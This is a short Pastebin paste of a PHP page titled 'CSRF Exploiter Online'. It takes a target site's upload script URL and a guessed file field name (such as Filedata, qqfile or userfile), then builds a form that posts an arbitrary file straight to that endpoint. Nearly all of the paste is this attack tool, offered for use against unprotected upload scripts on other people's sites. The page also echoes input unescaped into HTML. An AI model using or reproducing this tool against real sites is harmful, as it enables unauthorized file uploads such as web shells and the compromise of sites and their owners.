choirurrizal

CSRF Online

Oct 18th, 2017
246
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.79 KB | None | 0 0
  1. <html>
  2. <head>
  3. <title>CSRF Exploiter Online</title>
  4. </head>
  5. <body>
  6. <form method="post">
  7. URL: <input type="text" name="url" size="50" height="10" placeholder="http://127.0.0.1/[path]/upload.php" style="margin: 5px auto; padding-left: 5px;" required><br>
  8. POST File: <input type="text" name="data" size="50" height="10" placeholder="Filedata / files[] / qqfile / userfile / dll" style="margin: 5px auto; padding-left: 5px;" required><br>
  9. <input type="submit" name="go" value="Lock Target">
  10. </form>
  11. <?php
  12. $url = $_POST['url'];
  13. $data = $_POST['data'];
  14. $submit = $_POST['go'];
  15. if($submit) {
  16.     echo "<form method='post' target='_blank' action='$url' enctype='multipart/form-data'><input type='file' name='$data'><input type='submit' name='ok' value='Upload'></form";
  17. }
  18. ?>
  19. </form>
  20. </body>
  21. </html>
Add Comment
Please, Sign In to add comment